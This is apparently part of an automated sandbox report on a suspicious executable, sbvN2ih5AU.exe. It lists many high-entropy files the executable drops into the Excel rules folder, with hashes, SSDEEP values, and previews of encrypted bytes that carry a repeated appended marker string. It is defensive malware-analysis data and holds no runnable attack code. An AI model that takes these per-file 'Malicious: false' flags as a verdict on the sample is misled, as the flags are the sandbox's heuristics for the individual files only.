Malicious:	false
Preview:	<?xml.z..l.CHV.S.V...,....'.^....Y....SB.....0Dk.2.g..Zc..R...P....<......cH...W.(F5..0.@..3[..o...@....%z....F....UZG....v.l'.......v.H...._..4.u:.v.$Ti:.VjkF..u}..-.cXw.........M.......e.....d.#.U\|...{.B).?.}.....w.K...6.)y^.......VI....v........).Zj.....\|.kYx.p0...z`.C....8?.@..a..W...;.Y....h..M..-..=..a.?= ...!.Q..7....-(Te.=1O.$}Gx.c.yz9@cT....Fe0[}.........@.[85.@....R.jP.E..U...<.{V....7.....;...e=}...ii.]......b..h......?...]... ...j4.sz.=..k)B..y.)........,...J@............Ur.....W..!.3o.....P.CY.2..9...z..x....$x.S..O{.u..UMp.x....A...C.=.......}..PH..^.C(.....%}....f..A.^j........dG.5.=.i.:..yaHL.[..l.n.7...$x..;.M.....G\...V..`.';.?.8...o\|..........s!....w.....4#..l..\k!.uL..G5.K....&.o..;.=U.d.........Ko.!.*TT..k.H...y.@x}t..I.wRA.Os.[...c...x.w`I......DV.....F2...2..4op.:.2N......P..W.g.p9.r..U..)...Z.}).g..Jz@.N.-y..o.x.@..T.@.l...:c..?...v....../]..L..;..e..8y....g..P.S.....r...k\|.........p..2...Pdg.H..lr.....J.!.`...m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.93342942480869
Encrypted:	false
SSDEEP:	48:96FkHztVnp6zWy3kpFOuAa9PorfZ//7c+yhho3eKNeSfM4OzcR7XD:uCeWyiVAaSrfZnofKkSU4bR7T
MD5:	E1574F41D452F6451388A78F78B80419
SHA1:	37D166507477DA64C48D74E1E2FC99651E8A4867
SHA-256:	5F35354A04929B34442E758DCFB42F799FF1BA8D2994ACF56EA89C0A2A5DCEB0
SHA-512:	1194FC05A96B415E9E6665B042D10D50D4623B9B8418C530BAFF28F910D00768651681C1989BC465BFBF2F539238F8B58A956E01CE8DE91A5C9404DA2392666B
Malicious:	false
Preview:	<?xml..)....u.....).....\|".c\...w%[.............{H.....e]..wb...U.d[....9....E..V..............m.TCz..p.0d$..y:n>Z..8....\|....J.~F......7.Bag...k...$l....o..OU.p.[.vx..:.....w.A...@{.......iE.."2{.>BhT..a."TfT.;v.O..9>ET&h....O.F.MN.U+d...=u.>."K.q0.o.....b..........!....qP...x.E2G,1..W....4..\.+p..Vt..@QT..jG..&.......Y....m.F.Y+.h...N..s.....t.5......3.0l.......l&..-....RU..~.$.\|U.H...9.......3,.Ec4....T......{hBvu.3......$An-.71........7.....`"bE...../..Zh..t.l..=[..E.^D.(w.......Y\|.....S.....S.....f.R.4.....%I;...[...-!1..q.e..[`.XsY.H.?..E.T.z..^......p..T0...p{u...d.81.._K;eW..r.".Up...a?.F^i..o.......W...d...I...7y.~[!....8..-4....]E..R...#.7b.ra.v]E.v.....[..8(/.GG``9..5...[.......H..c.:.u....P...z...$t....>..q.@...s.)....).%.3v..UgX...,....t....vG..V.D.+.j.]prRK....4...[..5+r....(s.L.r..9.R."...%.....}{cPg......A..O.`.m.....%u?........X...u"K.0.!d........?T..x..269.U....._.'O&C.._p...rv....mm...)g.;..A:.p.......F>=_.....fpVEl.Z..P..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.9265441549912055
Encrypted:	false
SSDEEP:	48:L/xmjJkKubb/+nNGpyr3MGWsQ5ZfPsQBhMW09uD:L/Yj+L/hC3/QbfmY
MD5:	34A203296E30D7CB6856CF588FEC4D98
SHA1:	08732096983E3C3F7B788E96D7C1CBE1AAAE1EDA
SHA-256:	1A5BC2B1A7604992233F112352C6CC38B41B2A97EA066192A8D3D989FC31948D
SHA-512:	F009964F3EDF4F1E9EFDD152258E6336E240E54FB21FFB155F40A6517ED0E8447D7899ACC6056E03D08AE875AA03E6C1E3636D0474FAC9BE157F705FAA020C0A
Malicious:	false
Preview:	<?xml....l@8`.B.....~Bd......Rq.GI...(.`?..X..Ph......=j9e.i.=.....Y../...qp.5> .9I-L./?.ls..7..m.l.n.....T....n.........~.. ....[2.".zO8.P...\]w.(}.h....M...X:..eO...^...P...y`.."xZ.-.....q..o>..g.FE.....wL..=.KG..i..#..g....j..S.......2..$....>t.......u.~.....B....fO......<....!10.].........b..8.K....Aq.g6.vu.;.um#V..9.....cC(..{.D.......Jl!:.."......;./.Y.I...m.K..$..ZP..{A...y.,"`...b;Y.i.... g").$.~7.h.h...=.....ayW...1'..?.....m..#.;<T.......u.....\|A..3.....+..)!.n?..'.>.n..4.P^..5..`.S..]#.%.4...v.....6.....a......Z..l0......v.c....W...2.7>#.K.)\|.V)...NpN....Hr......r.c...%o..y.,S..h.J.wFa....h.9}hO.{....;L.5.L...N..b..k+......>P...o..d..T.o..P{..Z..LR.."5.M.'.o.\|}.r.......sZ....l..io....)`...J_..k.9...W:.C...Ae..}.S.wU6.`{..?)....t.../.J].........Tl...V.,_...q.............v.e.G....Jc.......i...6.!].i.........k..A....f.J.....LO..E.q...i.{....7#.w.B8<..6..s.....~X...YI.@..{..G.a....R..>......f....f.8..3x,D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.72033989265583
Encrypted:	false
SSDEEP:	12:s8QBo3ZT7JWrOmEvKSf+LDbQENXMsH/dVardP7Wd1pYByy2RsnulLE6RgOG8pqWB:KS3h7WOm3A+3Msf+DX3n96RLG8EV2bD
MD5:	567F83873B2D0F0FE1619B50F3F0A93D
SHA1:	40C8523CBF708952835348C127C38F81A6BDD5E0
SHA-256:	73F8331DC241696E0FC22261FED367B102DA111EAC56FF6C37F09ADC42FFD4A0
SHA-512:	629744BCE6E7A04142DD79FBFA8826D1DB8E0C6BCD4C695B44A1FB4D34824D182E98EAAAAE75BD258DAC6CA3C38F080C9CE0B1F1B29425BC9FC2B2E0F2CA3F75
Malicious:	false
Preview:	<?xml..!...a.$.........U.n...a8..8u....:..\..h....R...........o.Y..(.".]w.)j#i.....p....[.SsP.:I..\Y.....Y;..I...C.2>u......!.>....6..o^.k...R%..C....D)......N,.......E.,.E..y..FvW....I.{.G...].]..4.....&.0.Q.#4.,.. ...R....h..{.D..~t\E..\|@0....6#<2.iO.Pi.......X...r........O...MLa..e.vR.k#k...y5}..Q.s.J..7.>.....b.Y.C.s.Wy.e.......s...m...m.@=.>w~..C.....iv....sp......6.Z.LZ`.0......<.........K.6c......<]C..4.l.....q(.]Bmy..p....-...'+:.......C.L.S..8...d..g.9."........}8.H.P...y..k1.Q..g B.}....6..._...s.`..U.....u.6`'..?.v.X#.IBn.C..g.....x.*}.xWT.I..Cw(E..~...O.4..Rc[.W..k_....=Iq.P..4....%..%.Y."..{F.....`e..}B...D...v2....c.bmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.825450066309513
Encrypted:	false
SSDEEP:	24:9i3uoOyFYW1jSjdLpbIgRUDi+yFL1QYwsn+n2vKy1gSfAP7aSuQ722bD:9WYWKyFDidLR+kKy1gPP7xuQhD
MD5:	45DD83C6A3CF331EA18576EB94ACD54E
SHA1:	6A740D3B35233231A8900664CEDEAD0C67EB30B6
SHA-256:	CA18B849D0CFCF1664303B52C381ACBAA564606646F1FB0B278D8ADB69F37C17
SHA-512:	16B9A0E4C9E17C27DEA79CFE35598AB7D49C0BB8B455D9F86F9F93D907A6FC4DF4202FCD4224E9C055576F243A2363D20D1EFB2DC82DA96A36667E7C0A94E211
Malicious:	false
Preview:	<?xml.~..o;a8X.{.8..&[....P...../.k..O1u.D.).c...u......x.HV..;....5....P.Q........!3s1.P....+...DDd..Z.Mla...m..r%.W/..n.}nw........R.7.=Q..'.Cp...K...R..7z.<.+...@..B..=;.Zc....0%;...^S.].4U...k.......H._.].B.'\...a..'b..=......y...d..y...]..%A...tQd.LV.g.;gV.....<x.\.......TL..BV..d$dx..{..`.f.>`n;[.....G...b.y.C..$[v..t>.AYp....o8..: fB.....Q.......{.Zc.o.......v.!..?...j...4.t..1.}..R.....\|...,.5....T#..t..$K+....).......g/.....t.!.....]U`Z/Z..Qg.....5yq`2..-'.'.X..v:-......qO..6..Kf(UH...h.it..........!R.\|@.....#M..EN..`.4D..Z..<..X...rB..l.KL..h...........fZ.."v>.v6.]...-.....kb2..8..T..JS....v"O..U...s.sa@.s..zUzr.Z.Gw.%..=.e...........bt.]O....x9.%..N.p..q....f..AO....,..o......d.2......J.D...8dS...T."...#.y.gB).....,.q_VOP."!.....`..^.^>.Dxz....u.....0..e...I.N..0..<.+...B.h(..0$.J...m.CD'..[]G...>.^..........\H...0+^..z.W...:.e..k'.......T....;4F.&.)...s.2..8.z..jC....@G...CV=.....h.R..z........fz.......q.+...?.N...'...X.....S.2c.T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.542277169485472
Encrypted:	false
SSDEEP:	12:lVI30/+WgTiQWROkCS37fJZnVgt3JQ4qhKtRZ/973RjhEHSUdNcii9a:lV72W6kr3rjVgtZQLKfZ/tRtEy2bD
MD5:	D4F70C255609792B0A33394400D26FC4
SHA1:	985D57987C756E717ACD05B92F24878F4136CD84
SHA-256:	94048247DD93C85243AD311F1E416DA45E22DA4E0CFA06C065F0635230205BC8
SHA-512:	F77C2B88F049A5912753F8E9EA13BC5E133B466BC9FF708884635E46F7D51675C66C48FB9994D74A1DCE999A14F88467F60E8289C042A31FBB5A10D1617D3AE9
Malicious:	false
Preview:	<?xml.~.b.{...W3.....=.5G.....J...t.......0.......3Wz..... F..t..yZ..U..o....A~9.....S...1.....3].'2...pL...lIN4.x..........3!..w.$..c.&%.i@I.....JZ.m...# Xb...L....8....LY.~W....y.f.^...e..B....s...Z.!gU!.....2.n..Ir.l.8%7V...3........4....`.N.oFYe1i[.........>.Z..t.W.g.F.g../.Q.6..gP...y...lu.p..P]..Bq...J.n2.#&nj..\..B..o..w\".....h.T.f.......Go....'.....s.k..".e.\|.....j..z.V.+fQ....\|b[..>.0~.24:V.2`t.u..u=c...+.....I7*..C..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.927628398802353
Encrypted:	false
SSDEEP:	48:jBfsNeKB9UUX/QksuoWTzKOJIo4SV9meaQYFZWQHQvPjz0CDoeXv0qdvD:jLKDUS/xsZgWOyoNV4koQANeF7
MD5:	C25B991527FC61DA1B9A9D82C6630433
SHA1:	0464A57E93E7F1A1D5D19904A89A879C5AA85DF7
SHA-256:	BBAB5321107052A37A33F72FE93273D4C4BD0526B411FEF7B6305F8B59F2E3FC
SHA-512:	10D97D88E0F4C7B8FD191425FD448688F85DA76BC004A2A226275A59935E4733BDF519367FA3E9986EE071C07EB93E4CA7D2875320B5586E02715D9D5C1A818B
Malicious:	false
Preview:	<?xml.z.x.,.,..!.../..s...R..A..P.BT..._D..1p.....B...QI....'rLt.....63.^.Sk.B.p.=1.G..1....(:Z\8I...4l....x..,.g.E....._..B.AR....P..8.......x..6.\|Yt....(...i9.......OBn..'w..&.Tlfhf?..G...8z..{pQ...uSk9.z....I...D...'h..4.E......Y-~....<.'........W....t.....k../..hUh.S.-,.JZ..........X+..Y...U. ....4.8.&.BQ....-.}iI.jh{..z.^.g{f.!.''.Kl.n.M.....v...oRb.I!.3..h;:....-wO?..# ....\..V.7.1"....-.~r.y.....f....F..;`.......uW..f.....Z..\|.g....c..ri.NR.wOj...Cv.Nmm........r...G3o[.......EO.s .G..:..J....v.....k.....{s.D.@g.../.8.=.U[.@.`0.Q..t#I.B....b.ry.4}.Y..q.........90a.e<.8Mu...y..i...fV+Q@.\M.v#U.I\|.L}..R.T.j.Tx.D.....4....W%...M.{...TP23......>=W0.."<.......Nt.;7.3...2....."\|'i...u.m....bF.y/..0..h..6U...h.[...F+...a.T...6V....s.q.e^..........O...+......G..b.Q....Y?q.....[r.....7.g.>X...Ceb..Uc.j3...1\|0..M.....Q...7p....%n..!p$/.7.T......[:....}.+.8#..p\|&$.Y...9...E.C...9.-2K....../[w...a.3ni:S..9+.....S....v.......!;..>.m....LT.$M..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.698488362922404
Encrypted:	false
SSDEEP:	12:NOnaoLJBCdl2PqK7PZBR65Slu8IqLUGFgMGm5Ke5zQpTwBAWqGlkakZSUdNcii9a:NOnaofs2PqK7PpsupAaom5lQBwBUGDhw
MD5:	28583D06A712A96CF944389D9FFA5BE4
SHA1:	7F71D216E94DE62F8334B7A8262F49CD6794B713
SHA-256:	49A19CEF595DF6C660C167E37D58994B457C970A9FAE0D0265484767705505EA
SHA-512:	76BE636F0CACEBEE4B79C2CFDC57C0E07C1C052C89309232FC244BE95A3C576EFA75BED9B4E190DDE81A4A30A2F35C44A92D2CFB9921819929DE3F68FA71637D
Malicious:	false
Preview:	<?xml........,)w.7X.J..V@.<Iy,F5.5..<-v.76n@.0...q..!.i.....(.0m{D.Kh..[.M...-...1+&M...}Z}.=.;.LM..h%[<.@.;.k...Y.....p.v.\|.%...`.V.v.v..+...#r.....^.V..../...)...D.gv........H.V...T.@.f<..o...x.\]...'..?J...\|..+/.}:.#....x.....r..~....6...ys..\$..4.w..'..eqX(......kI.Tu..A..$..(.6.\|............l.3.....j..\.~........._..0..3'.Cmg......P.^...q..}B.M._.N&..K.....iB.._D...$..F.pYr.G.A.a...e.s8K...a../.83....\|.!.......?z.......s...A.....%..tQ..dDF...'.c..y...8AM.+...o....V..xV..v.C...?:>........B...g.(...=..7,\|...mt...r...y.....W_....`..9..l..2..bI...._W....P...."W......~..}@...y&.....a>..n.l.....X..-.K..*.v.)........D2j.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.70567670158796
Encrypted:	false
SSDEEP:	24:y5YLVfsw++EYh9Eq3aeuUOhQ7WZw2oW6xVT2bD:+YLVfHlPh9EqJuNa0aAD
MD5:	B8B12E3E36B861EA093EDAB4A42AD21F
SHA1:	3FCFB14CF85348EEC93540E50A0DD05FF2BE3F94
SHA-256:	A4ABA1AF5EB8C88B420E72AFF4A4216BCB20BCC6829B4B0969287405ADC325E4
SHA-512:	7746F9A15A64BA5E3163C6260BA292050C4C7D61F1CBE04A905DB3CC294FC804AE4FFFAD31A94F9985448362DD22F30547F78B98BFC35DFDB986E69480BDB108
Malicious:	false
Preview:	<?xml.n{1..+S.)<9\|y.....x.ko.`p.uYD/_...&oC..R..v.....7y".....8.AZ..<\..k..g.q....R.+..p.<RGg.N(.n..V}>B.onQ^:.^d.%Q$]....yO.2....z......G.!~k.x.fc...P..5.Z..4.....E.../.(I...p.b$q.......]...M".l.B...>y.kIA.~.x..S.. .:...... .e..S!.e..{..@k.ZQ.X.....CnP....}.(..F.h....fi[....N/K...S/_Ye..IS7[B.L...t.9O.}.7...D....~.[.G.....R..B.....W.C.....6...';O7.3..I{.br....w.......(.Y3..d8...s......2._b.~.......p>.@_..0{..........`^,~....l8 .Z..+..XC.?._..T..D.F.8.7.T.{.e....Z.S4..{.G..M.2.]. ...c.X."H..l.<......e\|Pk.......\..%.=..~.n.&ms.d.J..VK...../.....LcB......p>+..Nh.h...B..V..'I.P%.MN.Z8m.....'.hZ...gR...}..x..^N..S...t...oPW.Z.^.t...U.Y.D...b4...O#..t..?7..}..g.B&I.8.].to/..r.w\....\lz..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.702798436605314
Encrypted:	false
SSDEEP:	12:SyBFrdVThioHoywK+2dVGMcP0glppupmA/M5SUdNcii9a:/BFr9i+FvRgtupm82bD
MD5:	CF13D9DCDB26A6CAC79E0431FF433F5A
SHA1:	912B0E6EC3402F347BE0AC6B8ACA7FE2D1CD511A
SHA-256:	80044423F0E02BC8A55DB79FF9130677E3D20C35824AD820403C908C7BF1CC87
SHA-512:	BED069087D1321C874D0DFA1D1E327CC7C446A2AF3D0033497BA73F2C4B17D1D0B90C3174EA7AF576E61709C88052D830AB6187FADF329AF2F741FF05F22F8A4
Malicious:	false
Preview:	<?xml..{.u.....=...2.....;e.pMg_.Xl.Q.q...^.%...J.>.Z........1M.+.T.k.X.%'v..... :0......pY.P../.fb.L.....E9..7r...dd.\.&6[t3.E#....uc....u.X\..\|S...i[y&..Q..0H.U..;r..`...j.............m.V.w-S.G.(.......9.$Pu.d..-.u.E....%H...Nk}....z.I......c..Q.....={.4... f-.2.;...k)h...&ZL#....{.J+r)i....K..d.E..+...Z...m.X....[..J..g...km.._..dg..>..A..=o....ZF.k.......0...Yt..+".u...4~..w.....F.XUS..Y.......'.o....m.3.5..W!...:V.H.u.......-...V...Ni.Q.....EM.."..12#.g.R.40......g...6.<hs.....\.......cq.:.I8.6.k^*.$..Vx..4...#.N.F..X..\...4.=..W.h..`.g...,...vD.L....=...s...N.P. .Z]a6......g}..g(..q...K....56....4..{U..r....QmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.729034278771427
Encrypted:	false
SSDEEP:	12:EE3yy5p/hgp5GjrDTNksyEvVnhABEmZM23Iox8Ngft6as/+5ebQnpgdjkJIEoMSw:EuhhTNkSqs23I7atC/GebQydI2EoT2bD
MD5:	51684448D91C61F8759BE1F5FB9EF1AA
SHA1:	43DD83D7BBECA27F18BF82DBF44CD2BDE3241B7B
SHA-256:	58D0697F1167F93DC4752241C8BE729953C8BCE6D624BE9A1DC90C9821157C1B
SHA-512:	5477E5AEA5586A1DE5B030A04C206666F2DC0FFFA7C26B7DEEF22D3EAFC9ECB34E93AC7AE1522D97402E264A4D39291BC4DE08CB2E55A52054B55EB912919BE2
Malicious:	false
Preview:	<?xml...:....7.?.KH:..&W.&..!..lY...B.Z6....en.$Aj.RR........m....^>..^.zh....k;.......5...j.+"./.$.5....R.........r..H.Z.x-N.......]......p20.Iq.....&. .....U...$u%k].$............kF"\.\|.#?<..........&..}..2...(p..9eD...2{c.....0.#.S.{.f.w..j..aq.$...p...Sa.Y..M.\|......-E].f]. .@v...Dg.Z...J.......3..y].+....0*..}.g`#3...A._^e1.&V(....ro.!....I../.............@"......+..........l$.p.F._Y.>'r.%.Q.7..C.'o....Q)z%...3.Y..p_...s9Z?.X..w.....:..Iw.L...S-P.(...!..z#.j....m3O..Yr.=....#Y....R.0].N/..R..D.9ad.....C...2.D.......9.6.$.!..h&.......L.7. .. ...#..4...\|[..($.U...x.q.3.p....~.l..&".?.1R.,4@U.........Q..`...v.QwkQ1..Z~d6..WJ.Ws..QvV\|.:T.[......r~5\.._.XDq].'..qU..3J.Gl.'.U"..8mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.772375722577696
Encrypted:	false
SSDEEP:	24:qJpg4iD648qkl4bKWtXYNplVS/MrV1uA2bD:qJpzM/bKhNpXSi1uzD
MD5:	9CA9E8A5B33E6119DB4BB420BE286F3B
SHA1:	C9241B4A3BF9D750F5ADAF08AF9AA9D90032749D
SHA-256:	B256A64A287FECD42677DEEA153A8FB0A0A5C2E7EFF1DEBAC2830F193B17ABCC
SHA-512:	AC1389FF89C4D1E4146677476C6379B612012B656AC037EAFF71DC6CD2E79A92618F31E6984690F550A6E4984755AA04D61BEADDAB1D210C0E36454C82F5DBF6
Malicious:	false
Preview:	<?xmlR.pI..$...]w...A...@z~...-..2............;.......H_9.F...:..Oy......i.E.'<>......^.%...=?K..R.L.cO...5>DDs..4.O/.....F....MTq]P.W.9j..l...!.SEd..q....=.y.....\|...6.....@.B\j..s...!k.b.......>b.!!.z......{-.......Dm.oy0.P....s.8.k.Q.U4..r....e^[&.'.`._..Ku.>.uP\|R.XP...@.....2.^,p..e.....7R....a..a."....&E=...\z....].....<.,.rjU)..Z.[`........n.n~(_LG....%:o.;.%.+i..L...."OS(r.F6H.......... .\.>..<K.c....K[..O...>......8....o.R.H.Wc..7T.?a]P..u.%U. ..`2.....@...<.g$.....E.....l%..qdO..._...`..p.Mma......G.....-k82.u.AB.......].d[#.f$C...rg#.i.U...9.$...4...6yRh.n.=.0-6...dmj..{..9.Rhj...Q...r..x.`N..lx.3....D.B.(d.\|.T5+.....z....8.H......^.$v-.&j.+wZ.H..R...._......*v...fMb..H....1...Q..a.=.......g......w_.%.b:Z.U.?]...O<c.y......5......^u....L_...i..F....r....3..tw.in..<N....6@J.-.;.!HP..."a..I..s=q...R{...mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.756346157962195
Encrypted:	false
SSDEEP:	12:WQ0En1CcLJHqsd9BKrg6wSe9JxuMcvuy/WeZxgf7dI/CM3NrmeqSUdNcii9a:AEnJdjgczkTymx8dI/CMdrbp2bD
MD5:	039C117F36E8F4D6211E36B52792E126
SHA1:	3AACE66865939AEADA209D976773E44AEF238FB1
SHA-256:	265D2EC7CF37CA628324B903922EF4442B742446CC8DE792F92ABABD6C98C18E
SHA-512:	DADEE27FD54A19F2FFA1932664FF0C67A1DCC1B8F433C27A3F66A0D90A67B362FA48192937B4868630BDACECEC1DB8154F14FD09A32070AF360558AF419C306B
Malicious:	false
Preview:	<?xmlf@.~o..8...Bd............h.....[1.2hu.}A.OGM....y(..d.P.. ....;.j...zi.@..p........k.W.A...t.....d.=.U.vV.\|..6..6........4W.@..` [.b..6....,.....4\.jZ.f:.tk....E.ZPw..x..\|..h.P..,"..Ob...u.hs...KO....C.1J9.{.t..^...d.....c ..7Tw.6...`2.V.@:>..7.sW....l.}.=D..P.=..+.\|.,.!..{X2....S...?..c.......@N..I.....@.2../.~..I1.)...v... ).6..{r...g..gx..6..[..U.&.,.y...K....jC..Ct#........y^.!..3Jlm..,.n.@....y..Le.+i....ZR....j..pG.z....:].c.pz..-kI.......Xw`...r..Y...kh....H2.t"..^.....>.~.P..$....['...9.{<....].v.a.{j".'.+.UkFi...9CF..J...Fg$.........q'.E...(H%..N.Bq..#c.Z6....pHi..\..].-XjJ..Y.VF..2.O..K..J.FG\?....i...r>.d..7...A...;j..u6.GC..]...aP.r...W.3.7r...q.v.C\|.. :C.]mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.712538550868572
Encrypted:	false
SSDEEP:	12:GfMsixRDMfQNBOSnP0IKfzhtec82ErIm4EWXchOS5tO4at9o5SUdNcii9a:GfQMfQNBOSMIKfz1EWeOSk4M2bD
MD5:	136FA08434422F6EDCAACA93D60C60AF
SHA1:	497A8A1C46F6A380FC78B3288EA2E86C2D0CBE04
SHA-256:	7437C47190B62A98B024C7A55C4915D443658B9904DC338BFD05CC9D1095D8B4
SHA-512:	466780C9E11A223A549C398DFCA005D9BBA09E0C9B1BE62F864831EBC94099950CE56300A215097D6B47FC497041FE40B18643D8E64FE949170F3C41E77AD75D
Malicious:	false
Preview:	<?xml...f..{..o7)..n.....;6....5.f.4.........x..tyH.../..W0U.MN.xk....jm..A.....o...u..P..6.,.,ns....P..w..:x..~.....4.........u.t>.Y\|..k}.n.n.s...+dfp..(So..c..X.k....p &c.0.v......Kk.R.[...x..0..p[..y.w.X.=]).`..u....9V.).?V..[2q.s..Sp .r........y..W.@..C..:u.V?..........zP.p.N.=.8j...g..R.f?...\|..9........:.......QW7d.&gQ,B.o..+1.\|~}..V...J...=....9....U. ..X..q..}0.=.E.\uM..$-.6h.i...+...{@=...dK..t.../..f..k.O...3...!02...K..VD.....X.e>.5\.kb....Q=C.t.q.@ .b.._.`R...#..f.Tc...m......Tn......I......(...j..c ..aS.%......a.}.........3.m3..O..h....y=.......R."..I...`1b.!..?...&..D.....<`"...2.`].-.....-..a..$/mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.721444312980454
Encrypted:	false
SSDEEP:	24:k5Vsd/yxBy+OhxYOXSVhuHVP715lsCEyjsViV2bD:F4LtaPZvsCnYViuD
MD5:	891A26C3B4BD96B392980CA2F23BBA0D
SHA1:	7DF72D45B90155B1BEA1AF50F16594A807809F7A
SHA-256:	646EEB5A22943E399F2D2444E261F7198021B76601EA1D367D36ECB69DDE80C9
SHA-512:	19B62E5640304821F67B149198A2EB849AC0A12A7B95FC7A1143009712F6293E3CCD9A0C8986C069AAFEA41105DF0676475F92CB62189FDBEFB177C61755A13D
Malicious:	false
Preview:	<?xml <..W...`pvTD.F.......{..7..8.......h..h..c4\|..0.7.b.....m.l...T.......EE.H..5....gf...G.X...f-U._>...E..2r..di...H.6e...........5.....lA.AK..#1.A#..t...<..Nd..=X,.a...\..F........;k)@......4...V.....<p_.R.......}....7.K.X..M.jC....8.h..f..5cs..T.@.PY.....eR,...r.y...j..L.\|...:....\|OF..9..Xf.....O.........92"...1g.$..<....n.+iQ(...?.2.N..$ ...bt.^......&....=a..p .....r.J.....L@.Q< &...BX..N@!..i.G...+U.Q....?.I.`k.9.<.6..n....#...=2....G...=..l^.....M......H..7....~].Y...I....w(.ld....vPY..Nh>.....;..'.9\.@..!..a.._..S.n..q;......ds#..wcO...%!..\|.<...V..!.\.hK..~#c..7..O....U.+..hN.o.l...4lN..TB.%.N.y6_..8.^N.........E8.R.....1....qL/3.t5E..h......^yb.?.T).M....v...EE....Rp..6....q...zV.K.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.690450216362105
Encrypted:	false
SSDEEP:	12:6LONdFRNvRhtuLLJwCQmaCIs2BlcTJ62szQFWKJ8/O56WogmkzlUSazSUdNcii9a:6ONbbtuJwCQYIsilcgJaWKJEWB1hUr+w
MD5:	8036081644E4BDD8F4F2B011F5D9D0C5
SHA1:	749B4384759F4DE07766ACA37F5FA9A2BEAF7503
SHA-256:	8902760F42C0988F17EFD2A1C006C48922A4D0A7FF2EAFAF66164917C9217E66
SHA-512:	42DEA58520AB3DD9ECFF9BA538A665A6131C00E0FCDC47E1A1DB6D70A48D2A7C16BDCDE00A1C8D008245EC63FF295DB2697ED550EF82FBF0D6D6F9A0CD40B4FB
Malicious:	false
